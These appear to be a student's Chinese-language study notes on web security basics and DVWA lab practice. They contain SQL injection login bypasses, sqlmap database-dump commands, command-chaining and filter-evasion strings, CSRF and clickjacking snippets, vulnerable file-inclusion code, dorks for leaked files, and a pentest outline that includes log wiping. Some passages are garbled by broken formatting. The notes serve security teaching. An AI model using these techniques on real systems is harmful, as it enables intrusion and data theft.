01.WEB基础知识

第一章 WEB简介

web流程:输入网站访问网站之后向服务器发送请求,与数据库交互后经服务器返回请求结果,返回给用户。 浏览器工作原理:通过域名获取web服务器IP地址(DNS解析);访问web服务器。 web主要用到的技术:html、javescript、css. URL的详细格式:schema://host[:port#]/path/…/[?querty-string] [#anchor]

schema是底层协议(http,https,ftp);host是服务器的域名或者IP地址;port是服务器端口(http默认是80可以省略,其余的要指明);/path/是访问资源的路径;[?querty-string]是发给http服务器的数据

http报文主要分为请求行,头部,数据体。http请求—referer:告知服务器该请求的来源。用来防止盗链,防止csrf漏洞。返回码200是正常返回,301/302是跳转。

第二章 WEB开发基础知识

HTML

HTML是超文本标记语言,能加载JS、CSS、图片连接等,是web网页的基础。 JS是为网页添加动态功能,浏览效果更佳;CSS起到一个规整作用;HTML是构成整个网页的核心。 HTML主要分为HEAD和BODY,经F12开发者工具栏查看;HTML源代码以开始,以结束。 DOM HTML **DOM**是文档对象结构,可将文档转换为树结构,能更直观的了解页面元素。 可通过javescript对HTML进行任意操作。

注:HTML不区分大小写。

javascript web安全 安全 学习web入门知识汇总  第1张

http://study.163.com/res/images/logo4.png"

width="500" height="100" />

以上是添加图像的代码

"http://study.163.com/smartSpec/intro.htm">

点我访问网易微专业

以上是添加超链接的代码

...

以上代码用于创建表单,常见的表单有登录框等

以上是创建内联框架的代码,可在网页内再添加一个页面框

JAVASCRIPT

js可以在HTML的之间运行;可以在HTML的事件属性中(onclick)运行;在浏览器的JavaScript中运行。

借用了c和Java的语法S

获取HTML元素内容的方法:(1)通过getElementById():通过id获取元素;(2)通过.innerHTML:获取元素内容。

注:alert()可在JavaScript中表示弹出警告框,可以用来展示信息。

创建动态的HTML元素内容用到document.write() 命令。Date()可用来获取当前时间。

修改HTML form元素内容:(1)选定登录框元素,找到id=urs-lg-form;(2)通过命令获取元素内容,并修改为一个HTML的iframe框架(用Console)。

让页面增加互动:当我们点击时,页面内容改变点击时间<- ->onclick。

DOM(文本对象模型)

使用JavaScript访问和操作HTML就是JavaScrip DOM的操作。

DOM本质是连接web页面和编程语言。

JavaScript+DOM 用于访问和操作HTML文档。

BOM(浏览器对象模型)

使用JavaScript获取浏览器信息和操作浏览器就是JavaScript BOM。

BOM本质是连接浏览器和编程语言。

常用的提示方式:警告弹窗alert(),确认弹窗confirm(),提示弹窗prompt()。

注:常用于简单的调试和信息展示,如XSS漏洞的测试。

cookie是服务器发放给用户客户端的一小段文本信息,当作用户凭证。

获取用户cookie方式:在控制台(Console)中输入document.cookie。 写入cookie用到document.cookie=“写入值”。

BOM的其他获取和操作:获取浏览器屏幕信息(window.)screen;获取/控制用户页面URL(window.)location;获取访问者浏览器信息(window.)navigator;操作浏览器窗口:window.open,close();

web服务端

web服务端主要包括操作系统,web服务,解释执行环境,数据库服务(MySQL)。

流行的架构主要有Windows server的.NET,Linux的LAMP,UNIX/Windows的J2EE。

apache(web服务)

localhost 可用本地主机访问,127.0.0.1,本机IP,DNS服务器或者HOSTS文件。

设置hosts时,要以管理员身份打开记事本之后保存。也可以更改域名。

SQL(MySQL)

SQL语言是指结构化查询语言,是一门ANSI的标准计算机语言,用来访问和操作数据库。

数据库包括SQL server,MySQL和Oracle。(语法大致相同)

创建数据库指令:CRATE DATABASE websecurity;

查看数据库:show datebase;

切换数据库:USE websecurity;

删除数据库:DROP DATABASE websecurity;

注:SQL对大小写不敏感,分号作为语句的结束。

CREATE TABLE teacher(

id int (4)not null primary key auto_increment,

name char(20) not null,

sex char(10) not null,

addr char(20) not null

);

以上是一个创建数据表的语句,int (4)表示整型四字节,not null表示不是空值,primary key表示键值,auto_increment表示自增长。

查看数据表:show tables;

查询数据表内容:select * from teacher;

insert into teacher(name,sex,addr)

values('Leo','Male','hangzhou')

以上是插入数据的命令。

更新数据:update teacher set name =‘ivan’ where id =1;

删除数据:delete from teacher where name =‘ivan’';

注:“*”代表所有符合数据。

排序:select 信息 from 数据表 order by 字段; ASE/DESC(升序/降序)。升序为默认可省略。

注:可使用order by “数字”来判断数据表的字段长度

合并数据表:select 信息 from 表1 union select 信息 from 表2;(union all可以显示所有数据,包含重复数据)

MySQL注释:#… , --… , /* … */(SQL注释能够绕过注入)

常见的内置函数:selec database()打印当前数据库名称;selec current_user打印当前用户;load_file()返回当前的内容;version();into+outfile 写入文件。利于用SQL注入漏洞获取信息。

PHP

PHP称作超文本预处理器,是一种使用广泛的开源的脚本语言,常用于网页开发,PHP脚本在服务器上执行。

PHP可放在文档中的任何位置,// #代表单行注释,/* */代表多行注释。

PHP的两种重要的语句echo和print。echo无返回,可以一次输出多个;print有返回值。

注:串接:.(点) 函数:function 函数名() 变量:$变量名(变量大小写敏感)。

PHP代码由基础语法,语句,变量和函数构成。

$_POST和

G

E

T

都可以接受传值,但要相对应。而

_GET都可以接受传值,但要相对应。而

G​ET都可以接受传值,但要相对应。而_REQUEST可以接受GET和POST两者的传值。

文件上传主要用到的是$_FILES,通过HTTP POST的方法。

S

E

R

V

E

R

用于获取网页的一些信息。还有变量例如:

_SERVER用于获取网页的一些信息。还有变量例如:

S​ERVER用于获取网页的一些信息。还有变量例如:GLOBALS、

E

N

V

_ENV、

E​NV、 _REQUEAT、$ _COOKIE、$ _SESSION等

include 'upload_file.php';

以上是在网页中插入文件的代码(文件包含)。包含文件可用include/require实现。include:出现错误脚本继续执行;require:出现错误脚本停止执行。

PHP的连接和操作数据库:

(1)连接MySQL服务

$con=mysql_connect("locaalhost",'root','root');

(2)设定编码

mysql_query("SET NAMES UTF8");

(3)选择数据库

mysql_select_db("websecurity",$con);

(4)操作数据库

mysql_query("SELECT * FROM teacher");

(5)关闭连接

mysql_close($con);

以上操作数据库方法叫MYSQL扩展。还有MYSQLi扩展和PDO扩展(PHP Data Objects),方法类似。

搭建web漏洞演示环境demo版:数据库导入MYSQL;demo源码导入;配置数据库文件。

通过MYSQL命令符导出数据库:“被导出文件路径 -u root -p websecurity > 文件要导出的位置”。

通过MYSQL命令符导入数据库:”source 文件名“。

一般情况下网页是指向首页的,首页的名称一般是index.php、default.php。

02.web安全基础

常见的安全事件

(1)钓鱼

具有诱惑性标题,仿冒真实网站,骗取用户账号,骗取用户资料。通常使用邮件发送链接的形式。

(2)网页篡改

被黑客入侵后进行网页的篡改,百度输入"intitle:hack by"可搜出被黑了的网站。搜索关键字:Hacked by

搜索引擎语法:Intitle:keyword 标题中含有关键词的网页;Intext:keyword 正文中含有关键词的网页;Site:domain在某个域名和子域名下的网页。

(3)暗链

主要是攻破网站后将一些第三方链接植入到网页中。百度搜索"Intext www.saginn.com"有相关网站。主要是为了将某些网站排在搜索引擎的前列。暗链是主要的安全隐患!

暗链是隐藏在网站中的链接;暗链不是为正常用户所准备的,是为搜索引擎的爬虫机器人准备的,主要是为了提高排名,一般是网游医疗博彩。

(4)Webshell(主)

攻破网站后留有后门的一种技术,相当于web传送门,可随时回到被入侵的网站中。分为大码和小码,大码复杂功能全,小码简介功能简单。Webshell相当于上传了一个后门。功能非常强大,存在形式丰富,主要为asp/php/jsp/cji。通常以浏览器访问后门,很难发现。

Web安全(简略)

主要分为客户端安全和服务器安全。

客户端安全

主要有XSS(跨站脚本注入)、CSRF(跨站请求伪造)、点击劫持、URL跳转

服务器安全

主要有SQL注入、命令注入、文件操作

XSS

全称:Cross Site Script(跨站脚本)客户端安全的头号大敌

危害:盗取用户信息、篡改页面钓鱼、制造XSS蠕虫

概念:黑客通过"HTML注入"篡改网页,插入了恶意脚本,当用户浏览网页时,实现控制用户浏览器行为的一种攻击方式。

XSS主要是盗取用户的COOKIE。

XSS主要分为存储型,反射型,DOM型

XSS是因为某图片等加载失败从而触发的XSS。

存储型

一般是通过访问网站的形式被触发,一般通过弹窗提醒用户XSS被触发。可通过火狐的Firebug查看。

存储型可以通过F12/firebug查看源代码了解。

过程:黑客构造含XSS脚本的内容,提交给web应用程序,wen将含XSS的内容写入数据库中,当用户访问web网站时,数据库将含XSS的内容返回给了用户。

植入方式:在某网站留言版中留言即可植入

hellojavascript web安全 安全 学习web入门知识汇总  第2张

反射型

一般是用户主动访问携带XSS脚本的链接从而触发的XSS。主要是通过恶意链接。

与存储型XSS不同的是,反射型可以在URL中发现明显的XSS特征,例如:"< img src =@ cοnerrοr=alter(/xss/) > "

和存储型相同,可以通过F12查找其源代码。

原理:通过request获取参数后,直接echo输出到客户端导致XSS。

与存储型不同的是,反射型只需要一步,而存储型需要黑客将XSS链接植入网站中。

植入方式举例:在正常网页URL后方添加代码

javascript web安全 安全 学习web入门知识汇总  第2张

DOM型

与反射型相同,需要用户主动访问携带XSS脚本的链接才能触发XSS。

本质是通过JavaScript触发的!

查找DOM可用Firebug查看源代码,再通过搜索关键字hash找到代码。使用单纯的F12查看源代码找不到DOM型XSS。

过程:用户访问含XSS的脚本链接,浏览器通过JavaScript解析URL内容并输出到DOM中。

DOM主要是通过前端JavaScript将XSS脚本写入DOM中;反射型主要是用后端应用程序将XSS写入页面中,通过渲染触发XSS。

哈希hash代表的分隔符:#

植入方式:也是通过在URL之后添加XSS代码。

javascript web安全 安全 学习web入门知识汇总  第2张

总结

存储型XSS的触发过程为两步:黑客构造XSS脚本;正常用户访问携带脚本的页面。反射型和DOM型过程为正常用户访问携带XSS脚本的URL。

存储型的数据存储实在数据库中,反射型和DOM型是以URL型式。

存储型和反射型的输出是后端web应用程序,输出位置为HTTP响应中。DOM型是前端JavaScript来输出,由动态构造的DOM节点输出。

CSRF

全称为Cross-site request forgery(跨站请求伪造)。

危害:执行恶意操作(“被转帐”、“被发垃圾评论”等);制造蠕虫……

概念:利用用户一登陆的身份,在用户毫不知情的情况下以用户的名义完成非法操作。

构造攻击代码:

//自动提交表单

加载中,请稍后...

action="http://127.0.0.1:8080/demo/csrf/transfer.php"//转账地址

method="post">

//转账信息

//转账信息

通过此代码自动完成转账。

可通过“view source+原URL”查看源代码,可发现黑客通过iframe嵌入转账链接,且高度宽度都设置为0让用户无法发现。iframe能让用户只看到外层网页,看不到自动的页面跳转。

点击劫持

点击劫持又被称作“UI-覆盖攻击”,即在网站上面覆盖网站,达到欺骗用户操作的目的。利用的方法有iframe/flash或者其他标签的属性。

补:利用iframe可以创建包含另外一个文档的内联框架。

让两个网站看起来外层一样的方法:(主要利用iframe)

xxx

注:可以通过调整网页的可见度来发现内层被嵌套着的网页

点击劫持特点:隐蔽性较高,主要是为了骗取用户操作,对指定网站进行操作*****

修改被覆盖网页的可见度代码**:

//在上方代码的style内再添加一部分

iframe{

opaoity:0; // opaoity和filter属性只要将值设置为零就能使页面实现隐藏!!!

filter:alpha(opacity=30); /* IE */ //(30)值越大越清晰

-moz-opacity:0.3; /*Moz + ff */ //(0.3)值越大越清晰

opacity:0.3; /* 支持CSS3的浏览器 (FF1.5也支持) */ //(0.3)值越大越清晰

position:absolute;

z-index:2;

}

调整图片位置的代码:

//在上方代码的style内再添加一部分

button{

position:absoute;

top:-5px; //页面上边距

left:875px; //页面左边距

z-index:1; //!元素垂直显示顺序,值变大,图片感觉距离更近!

width:72px;

height:26px;

}

URL跳转

攻击者通常利用一些可信网站与不可信网站结合在一起,去混淆用户例如:http://mail.qq.com/cgi-bin/mial_spam?action=check_link&spam=0&url=http://jtvx518.cc等后缀被附加上的url跳转的网站”goto=http://jtvx518.cc“;“jumpUrl=http://”;“act=go&url=”等。

URL跳转的实现方式:Header头跳转;JavaScript跳转;META标签跳转。

Header头跳转

(1)获取链接

$url = $ REQUEST{"url"}; //获取用户请求链接

(2)Header方法页面跳转

header{"Location:$url"}; //跳转到指定url

JavaScript跳转

(1)通过js脚本获取参数值

var site = getQueryString("site") //获取用户请求链接

(2)js页面跳转

window.location.href=site; //跳转到链接地址

META跳转

(1)获取链接

$url = $_REQUEST{"url"}; //获取用户请求链接

(2)META实现跳转

//跳转到链接地址,content=5是设置跳转延迟,5秒后实行页面跳转

实现过程:

黑客构造并发送恶意链接,用户访问后,被引导进入恶意网站,用户错以为使官方网站,会进行一些操作,导致信息泄露。

URL跳转的型式:http://www.xxx.com?url=www.evil.com

SQL注入

全称 SQL Injection,是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。

万能密码:”admin‘ – “(注意空格)

正常登录方式:(1)POST请求进行登录

$username = $_POST['username'];

$password = MD5($_POST['password']);

(2)请求参数

(3)参数带入代码(拼接到代码中)

$check_query = mysql_query("select name from teacher where name=''$username'and password='$password'limit 1");

(4)验证查询结果

(5)根据返回结果判断是否登录成功。

万能代码起到了闭合,注释的作用。将代码改成了select name from teacher where name=‘admin’。

一次SQL注入的过程:1.获取用户请求参数 2.拼接到代码中 3.SQL语句按照我们构造参数的语义执行成功

SQL注入的必要条件:1.可以控制输入的数据 ;

​ 2.**服务器要执行的代码拼接了控制的数据。

SQL注入的本质:数据和代码未分离,即数据当作了代码来执行。

利用脚本获取系统版本:username=admin’ and1=2 union version() –

获取当前数据库用户:username=admin’ and1=2 union select user() –

SQL注入危害:

(1)获取数据库信息:管理员后台用户名和密码;获取其他数据库敏感信息:用户名、密码、手机号码、身份证、银行卡信息等;下载整个数据库(脱裤)

(2)获取服务器权限

(3)植入Webshell,获取服务器后门

(4)读取服务器敏感文件

(5)万能密码等

命令注入

DOS命令打开方式:win+r 文件路径:C:\ \Windows\system32\cmd.exe

DOS命令功能:

(1)查看本地网络 “ipconfig”

(2)查看系统用户 “net user”

(3)查看当前目录 “ dir"./" ”

(4)字符串查找 “find “hello” ./test.txt”(查找含hello的文本)

(5)复合命令 echo hello & echo world(命令拼接&,依次执行拼接的命令);ipconfig | find “IPv4”(在IP中查找IPv4的地址)(管道符|,前面命令的输出作为后面命令的输入)

命令注入的必要条件:(1)调用可执行系统命令的函数(2)函数或函数的参数可控(例如URL、破损参数、cookie等)(3)可控参数能有效地拼接注入命令

web中能够执行系统命令的函数:

PHP:system、exec、shell_exec、eval等

'curl-I"' . $url .'"'; //""是将url括住,起到分隔符的作用。

以上代码使请求url并返回url的响应头。

过程:黑客将构造的命令输入给web应用程序,然后进行拼接命令,使web执行注入的命令,然后将结果返回给黑客。

注:URL中&符号转化为%26!

文件操作漏洞

常见的文件操作:

(1)文件上传:上传头像,上传附件

(2)文件下载:下载应用,下载附件

利用文件操作漏洞可以:(1)文件上传:上传webshell,上传木马

(2)文件下载:下载系统任意文件,下载程序代码

常见的文件操作漏洞:文件上传漏洞,任意文件下载,文件包含漏洞

文件上传

正常功能,互联网产品不可或缺,如上传头像,上传附件

若文件处理不当,能上传可执行脚本,木马文件。如webshell,木马exe

(1)构造恶意文件:编写php代码并上传文件

phpinfo();

?>

(2)恶意上传

(3)获取文件地址。将鼠标放到加载失败的图片上右键查看地址

(4)访问上传文件。被当成php执行,说明存在漏洞

文件上传漏洞的条件:(1)可以上传可执行脚本(2)脚本拥有执行权限

任意文件下载

正常功能,互联网产品不可或缺,如下载APP,下载附件

若文件处理不当,能够下载服务器当中任意文件如:oho/aspx/jsp文件

观察URL可总结出文件下载的方式,通过改变URL的内容实现下载

危害:导致代码泄露

文件处理不当:(1)未验证下载文件格式(2)未限制请求的路径

文件包含漏洞

正常功能:节约代码量,让程序美观。如:重复代码写入一个文件。

若文件处理不当,用户能上传恶意文件或者远程文件,如:jpg/txt/php文件

分为本地文件包含和远程文件包含。

本地文件包含主要是包含本地服务器的文件;远程文件包含是包含远程服务器的文件,通过发送HTTP请求来引用远程文件。

文件包含过程:(1)通过get获取文件地址(2)通过include包含文件

if(isset($_GET['name'])){

$filename = $_GET['name'];

include($filename);

}else{

echo"Error.";

}

?>

测试注意事项:

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许包含远程文件)

否则容易导致测试失败。

03 WEB安全工具

Web站点渗透测试基本步骤:A.信息搜集:

IP、物理地址、CND、服务器信息、whois信息、旁站及二级域名、CMS类型等

B.漏洞探测及利用:敏感信息泄露、SQL注入、后台弱口令、文件上传、XSS、各种Web应用漏洞等

C.植入后门及权限提升、内网渗透:

Webshell植入、提权、用户添加、内网渗透

D.痕迹清理:

清理服务器访问日志、操作系统日志等

如何黑掉一个网站?

发现漏洞、验证漏洞、利用漏洞、获取权限

如何保护一个网站?

发现漏洞、验证漏洞、思考原理和成因、对症下药修复漏洞

代理工具的介绍

常用的HTTP代理抓包工具

Burp suite、Charles、Fiddler

Burp suite

主要功能:代理配置与抓包(Proxy)、数据包重放(Repeater)、编解码(Decoder)

基于JAVA环境,跨平台;功能强大,除了代理抓包还有丰富的安全测试功能。

Charles

基于Java环境,跨平台;代理抓包 功能细致,操作简单。(功能比bp单一)

Fiddler

Windows下运行;提供免费的个人版本。 功能较丰富。

firefox中的常用插件

Firebug

为Firefox浏览器提供了更加丰富的开发者工具箱,可通过F12或者右上角工具栏或鼠标右键菜单打开(网络与审查页面元素)

HackBar

为Firefox浏览器提供快速构造HTTP请求及多种编码变换的功能。可通过在浏览器上方的空白处鼠标右键打开(构造数据包)

界面当中的主要功能:可以在INT处选择进制;

提供SQL、XSS等多种变换算法;

通过load URL可以复制当前浏览器地址栏URL;

通过split URL分离URL中的参数;

post data构造POST方式的参数;

Referrer构造HTTP数据包的Referrer字段;(可以通过设置referrer来防御CSRF,尝试绕过)

Advanced Cookie Manager

编辑cookie类插件为Firefox浏览器提供快速修改、增加、删除cookie的功能。(修改cookie值)

使用步骤:(1)选择目标站点(2)选择cookie某字段(3)修改、复制、删除、增加cookie字段

Proxy Switcher

可以方便的进行代理服务器的配置和切换

敏感文件探测

Python语言上手简单,Web功能强大,有很多Python语言开发的Web安全工具

常见的敏感文件类型:网站管理后台,数据文件,备份文件,Webshell

敏感文件探测原理:猜测文件名,根据返回的HTTP状态码判断文件是否存在。

200:文件存在;301:文件发生跳转;404:文件不存在

字典选择(参考):ASP.txt、DIR.txt、MDB.txt、PHP.txt

如何判断常见网站脚本类型?

(ASP、PHP、ASPX、JSP等)

一个简单的办法:判断index的文件类型。查看:index.asp、index.php、index.aspx、index.jsp等是否存在。(在URL中输入各种类型看是否显示)

扫描网站如何生成针对性的字典?

举例:以构造针对性的备份文件字典为例

目标站点:http://testphp.vulnweb.com

可能存在的备份文件名:testphpvulnwebcom.rar(域名连在一起) ;

vulnweb.com.rar (域名后半段);

TESTPHP.VULNWEB.COM.rar(整个域名大写)等

漏洞扫描工具(略)

综合性Web漏洞扫描器:AWVS , Netsparker ,AppScan

以AWVS为例:

功能:一专多能,除了核心的站点漏扫,还有站点爬虫,RP段的基本探测,子域名的探测。

问题1:使用漏扫工具需要明确的问题:1.对目标站点的误伤,如:高流量、请求了危险功能(删除数据库等)AWVS在运行中容易产生较高流量和并发连接数,若目标服务器脆弱,容易造成宕机;若目标服务器有删除数据库功能,而漏扫时正好请求了该功能,容易造成误删数据库。

2.漏扫的盲区:逻辑漏洞(如:订单金额数据篡改漏洞)。

问题2:漏洞评级问题(技术角度+业务角度)

问题3:漏扫结果的解读和运用:

1.测试用例可能需要调整

2.误报与漏报

3.将扫描结果作为人工测试的线索

SQL注入漏洞

SQL注入的成因是因为服务器要执行的数据库代码拼接了用户输入的数据。SQL注入漏洞的典型危害是可以被用来获取数据库敏感数据(拖库)

如何方便的检测和利用注入漏洞?

可以利用sqlmap,sqlmap基于python2.7环境下(16年)。

SQL注入工具:啊D、明孝字、Pangolin(穿山甲)、Havij(胡萝卜)等

命令行工具:(1)只需关注输入和输出;

(2)看到流程化的执行细节。

sqlmap是一款开源的SQL注入漏洞检测与利用神器。

发现和利用SQL注入漏洞基本流程:

1.找到有数据库交互的功能页面

testphp.vulnweb.com/artists.php?artist=1 //有明显的问号

2.判断页面是否存在SQL注入(在像以上的URL后面加一个英文的’ ,数据库报错则可判断存在SQL注入漏洞)

3.利用SQL注入漏洞读取数据

4.导出数据保存。

sqlmap特点:1)支持数据库广泛

2)支持的参数位置,如:GET、POST、COOKIE、HTTP header。

(利用sqlmap可以完成以上流程)

SQLmap的一些常用命令(get注入)

python sqlmap.py -u "url" //可以利用该命令判断URL类型及其他详情

注:出现 vulnerable 表明前面的参数存在注入!

python sqlmap.py -u "url" --users //查看所有用户

python sqlmap.py -u "url" --dbs //查看有哪些数据库

python sqlmap.py -u "url" --current-user --current-db

当目标用户和数据库过多时,可用上方命令查看当前用户和当前数据库

python sqlmap.py -u "url" --tables -D "数据库名" //读取目标数据库表信息

python sqlmap.py -u "url" --columns -T "列名" -D "数据库名"//读取数据库列信息

python sqlmap.py -u "url" --count -T "列名" -D "数据库名" //查看该表有多少条数据

python sqlmap.py -u "url" --dump -T "列名" -D "数据库名" //读取表中数据(保存在DUMP文件夹下)

python sqlmap.py -u "url" --dump -T "列名" -D "数据库名" --start 2 --stop 3 //若有多条数据,可用start、stop规定读取范围

python sqlmap.py -u "url" --dump-all -D "数据库名" //下载整个数据库中的数据

对于POST注入的注入如何判断?

1)可用抓包工具将post抓包保存下来,放到sqlmap文件夹下

python sqlmap.py -r "post文件名称" //*可用来读取本地的数据包文件*

2)

python sqlmap.py -u "目标站点URL" --data-"参数样例"

//参数例如(pass=good&uname=1)

Web在线工具

搜索引擎语法

Google Hack技术是指使用Google等搜索引擎对某些特定的网络主机漏洞(通常是服务器上的脚本漏洞)进行搜索,以达到快速找到漏洞主机或特定主机的漏洞的目的。

想搜索目标站点的页面用到 site:搜索特定的站点信息(site:目标站点)

想找到目标站点登陆地址并暴力破解密码用到 inurl:搜索URL中包含有指定字符串的网址(inurl:网站(login|admin))

intitle:搜索网页标题中包含指定的字符串的网址

intext:搜索站点页面内容中具有关键字内容的网址(各种语法可以混合使用)

想查看目标站点有没泄露的数据库文件 filetype:搜索出特定后缀名的文件(site:testphp.vulnweb.com filetype:sql)

Bing上还提供同IP站点查询功能(旁站)(ip:xxx.xxx.xxx.xxx)

info:“url”(Google) 命令可以返回站点的基本介绍

site:“url” inurl:phpinfo.php 查看是否泄露phpinfo.php文件

site:“url” inurl:php? 查找数据库交互页面,针对所示页面可进行SQL注入的检测

site:“url” filetype:log 查找站点泄露的日志文件

cache:“url” 可查看目标站点之前的缓存,即使目标站点关闭

网络空间搜索

工具:SHODAN(撒旦 国外)、ZoomEye(钟馗之眼 国内)、FOFA(佛法 国内)

以ZoomEye为例:

app:组件名 ver:组件版本 搜索类型为WEB时出现的是具体站点

app:IIS //搜索IIS服务器信息,若为web应用,搜索出的是站点;

port:21 //查看开放21端口的目标服务器。

基本原理:探测/爬取IP段和站点 --> (对目标站点)识别/打标签 --> (将识别后的信息)存储供检索

在线Web工具

对目标站点的基本信息探测:

1)whatweb.net:包括站点的IP地址、服务器、CMS版本、脚本库等

2)www.ipip.net:用来查询IP详情,还展示其他IP查询站点的数据

3)www.cmd5.com:用来查询多种加解密算法

4)tool.chinaz.com(站长工具):提供多种小工具

5)安全圈info:提供各种的web工具网站等

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SdE2FYVC-1679106191748)(C:\Users\11373\Desktop\学习!!!\第三课知识点梳理-脑图\第三课-Web安全工具章节结构.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eLmqyPYF-1679106191749)(C:\Users\11373\Desktop\学习!!!\第三课知识点梳理-脑图\第三课 Web安全工具知识点梳理.png)]

04 WEB安全实战

主要围绕DVWA渗透测试平台。几乎涵盖了所有热门漏洞(暴力破解、命令注入、CSRF、文件操作、SQL注入、XSS)

学习中会遇到各种各样的服务器(Windows,Linux,python);各种各样的网站(asp,aspx,jsp,php,python);各种各样的工具;各种各样的代码(只需要关注漏洞代码本身,不需要全部弄懂);重要的是思路。

1)验证是否存在SQL注入方法:

手工验证:admin’ ;admin’ and’1’=‘1;admin’ and’1’='2

2)如何利用SQL注入跑出管理员密码?

(1)使用工具:设置浏览器代理–>抓包–>SQLmap自动跑–>获得数据库名,表名,含管理员密码的字段–>读取管理员密码

(2)不依赖工具纯手工

DVWA部署

DVWA(Damn Vulnerable Web Application)是以php编写的web渗透测试环境。

1)以Firefox浏览器为例:

Tamper Data:是一款抓HTTP/HTTPS的插件,具备截包、看包、改包、发包,可插入自己的攻击代码,方便对网站进行安全测试

浏览器与PHP交互的过程:

浏览器–>找到页面–>Hello.php–>服务器找到文件位置处理PHP<–>与数据库进行交互–>返回给浏览器HTML页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z9voQtPA-1679106191750)(C:\Users\11373\Pictures\PT~AN8GO_[62{@S@23H`@[1.png)]

DVWA

包含了很多安全漏洞程序,如暴力破解(Brute Force Attack)、命令注入(OS COMMAND INJECTION)、跨站请求伪造(Cross Site Request Forgert)、文件包含漏洞(FILE INCLUSION)、文件上传漏洞(FILE UPLOADS)、SQL注入(SQL Injection)、跨站脚本攻击(CROSS SITE SCRIPTING Attacks)。

暴力破解

暴力≈穷举法 ;破解≈可破解任何有规律的信息

OWASP ZAP(新工具):截取并处理网络端口的数据包,可将破解过程自动化。

可通过响应包大小确定破解结果。

当网站安全等级为高级时,简单的暴力破解失效。观察响应包发现每次都会出现上一次数据的usertoken。需要重新设计破解动作。

破解动作:访问首页——获得usertoken参数——发送呆usertoken的登录数据包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6nTc3XZz-1679106191750)(C:\Users\11373\Pictures\QQ图片20191031213643.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sQXfu2BR-1679106191751)(C:\Users\11373\Pictures\QQ图片20191031213653.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jGZKGGrc-1679106191751)(C:\Users\11373\Pictures\QQ图片20191031213657.png)]

以上是各过程对应的python脚本

对于高等级防护,自己运行脚前需要修改自己的本地IP地址和自己登录的PHPSESSID!

可通过验证码来防止暴力破解。

命令注入

命令=操作系统的命令;注入=通过web程序在服务器上拼接系统命令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lzDf32uN-1679106191752)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101110317184.png)]

命令注入流程:(重点)

(1)由输入127.0.0.1后出现的页面判断调用了Windows的ping命令。

PING(Packet Internet Groper) , 因特网包探索器,用于测试网络连接量的程序。Ping是工作在 TCP/IP网络体系结构中应用层的一个服务命令,主要是向特定的目的主机发送 ICMP(Iternet Control Message Protocol 因特网报文控制协议)Echo 请求报文,测试目的站是否可达及了解其有关状态。(百度百科)

**(2)**ping (固定字段:ping+空格)127.0.0.1(可控字段:任意)

**(3)ping 127.0.0.1&&**net uesr(判断&&拼接符号可以使用)

注:Windows下链接两条命令用&&;若&&被过滤,&也可以连接命令,|也可连接两命令。

修复命令注入漏洞通常使用白名单,例如DVWA安全模式为impossible

命令拼接符号的区别(&,&&,|,||)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FxRosutX-1679106191752)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101114032660.png)]

low等级&&可通过;medium等级&可通过;high等级|可通过。

如果过滤了敏感命令怎么办?

Windows中可以用**"“来绕过,例如:whoami–>who"“ami–>who”“am”"i Linux中不仅支持”"也支持’'**

如果不显示输出结果怎么办?

(1)延时注入。通过响应时间来判断(2)远程请求。前端不响应但在web服务端能够查到请求(3)DNS查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7p58PYlO-1679106191753)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101115847510.png)]

CSRF实战

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HpQZwwfa-1679106191754)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101125500626.png)]

受害者角度:用户在当前已登陆的Web应用程序上执行非本意的操作

攻击者角度:攻击者欺骗浏览器,让其以受害者的名义执行自己想要的操作

low等级可以直接使用tamper data修改密码数据;medium等级中使用low方法失效,通过对比成功与失败的数据包,发现referer不同,通过修改达到改密目的,referer只要包含host就能绕过限制

攻击者思路:构造HTML,构造链接,诱骗受害者点击,受害者点击,攻击者登录

以上是攻克low等级的html脚本。稍加修改并保存到以host为名的文件夹中,在浏览器中打开能够攻克medium等级。

调整至high等级,修改密码成功的url中多了user_token,同暴力破解相同,每改一次会变换一次代码,代码来自上一个响应包。需要结合XSS漏洞获取页面中的user_token参数。

CSRF Token :这种随机参数统称为csrf token,它保证了攻击者无法猜测到所有参数

为何暴力破解可以突破CSRF Token?

因为构造HTTP请求的人不一样:暴力破解的攻击者是当前用户,受害者是其他用户;CSRF的攻击者是其他用户,受害者是当前用户。

在impossible等级中修改密码需要输入原始密码,有效地防止了CSRF。

对于CSRF的修复:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d9UoAgNS-1679106191755)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101162527395.png)]

HTTP Referer:

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

文件包含漏洞

文件包含:一种代码处理方法,函数如include、require等,参数是文件名。

漏洞:文件名参数用户可控且过滤不严,被攻击者偷梁换柱

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TTcRLlpB-1679106191755)(C:\Users\11373\Pictures\QQ图片20191101165437.png)]

通过观察url,修改并观察是否扫描文件,若扫描文件就可以利用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xIE5xmKR-1679106191756)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101170511865.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8YJgrBWN-1679106191756)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101170647967.png)]

